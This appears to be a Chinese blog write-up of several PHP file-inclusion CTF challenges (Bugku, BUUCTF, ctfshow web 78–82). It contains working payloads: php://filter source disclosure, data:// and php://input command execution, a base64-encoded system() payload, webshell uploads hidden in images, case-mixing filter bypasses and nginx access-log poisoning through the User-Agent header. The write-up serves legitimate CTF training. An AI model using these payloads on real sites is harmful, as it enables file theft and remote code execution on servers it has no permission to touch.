文件包含总结

文件包含漏洞:通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。

bugku文件包含(BUUCTF include)(ctf web 78)

方法一:

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

url+?file=php://filter/resource=xxx.php

直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上,所以需要采取下面方法将文件内容进行base64编码后显示在浏览器上,再自行解码。

?file=php://filter/read=convert.base64-encode/resource=index.php

base64解码

BUUCTF Secret File

查看源码

发现了一个php文件,访问一波

点击了一下SECRET,出现了这个页面

叫回去看看,于是回去看看Archive_room.php的源代码,看见了action.php

 于是访问action.php,直接跳转到了end.php的画面

 跳转太快,想到了抓包,发送中继器之后send发现了重要文件(抓包的时候一直抓不到,看了之后才发现我在地址栏里改了action.php,结果抓包的时候又变成了end.php,所以一定确认是action.php之后再操作)

 访问sece3t.php得到

说flag在flag.php里,于是访问一

这里又想到了php伪协议url+secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

base64解码

bugku文件包含2

 查看网页源代码,看到注释文件upload.php

访问upload.php,在?file=upload.php即可得到文件上传页面

 

发现使用常规的一句话木马上传成功了,但是直接访问和蚁剑扫描都不行

于是上传一张带有<script language=php>system("find / -name flag*");</script>的图片,显示了上传成功,得到路径之后直接访问,发现不行,蚁剑也连接不上,直接访问看到了好多/flag,于是直接去访问flag的根目录,?file=/flag即可得到flag

因为网站存在文件包含漏洞,所以我们通过直接访问文件名来获取文件内容

buuctf WarmUp

查看网页源代码,发现注释文件

 访问注释文件?file=source.php

 看到白名单里有个hint.php,于是访问一下

说flag在ffffllllaaaagggg里,访问之后发现没有

再看看上一级有没有,无反应

 一直访问上一级,终于发现flag

ctfshow web 79(data伪协议)

把php替换成了???,所以不能再用伪协议php://filter,这里需要用到

data协议(1)  ?file=data://text/plain,<?=`cat flag*`;?>

data命令执行:data:text/plain,<?php system(‘命令’);?> 这样就能执行命令 

               (2)  大小写绕过:1. ?file=data:text/plain,<?pHp system('ls');?> 

                                           2. ?file=data://text/plain,<?=`cat flag*`;?>
(3)  data伪协议 base64:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

ctfshow web 80

方法一:日志包含
 

 把php,data都替换成了??? ,但是str_replace无法过滤大小写,考虑用日志文件包含

 GET:  ?file=/var/log/nginx/access.log 

User-Agent:  <?php system('ls');?> 

然后再换<?php system('cat fl0g.php');?> 

页面无代码,查看源代码即可得到flag

方法二:

使用php大小写绕过修改文件头?file=Php://input,<?php system("ls");?查看上一级文件

 <?php system('cat fl0g.php');?>访问fl0g.php查看flag

php://input:t可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。与include连用、当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。 

ctfshow web 81

这题把php,data,冒号代替成了??? ,所以大小写绕过,远程文件包含都不行,只能用日志包含

GET:  ?file=/var/log/nginx/access.log 

User-Agent:  <?php system('ls');?>   bp需要多go几次,若是hackbar则是需要多execute几次

<?php system('cat fl0g.php');?>访问fl0g.php查看flag

ctfshow web 82

 这次还把点也替换了,要找一个不带点路径的文件,所以选择session会话文件

 ​​​​​​

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值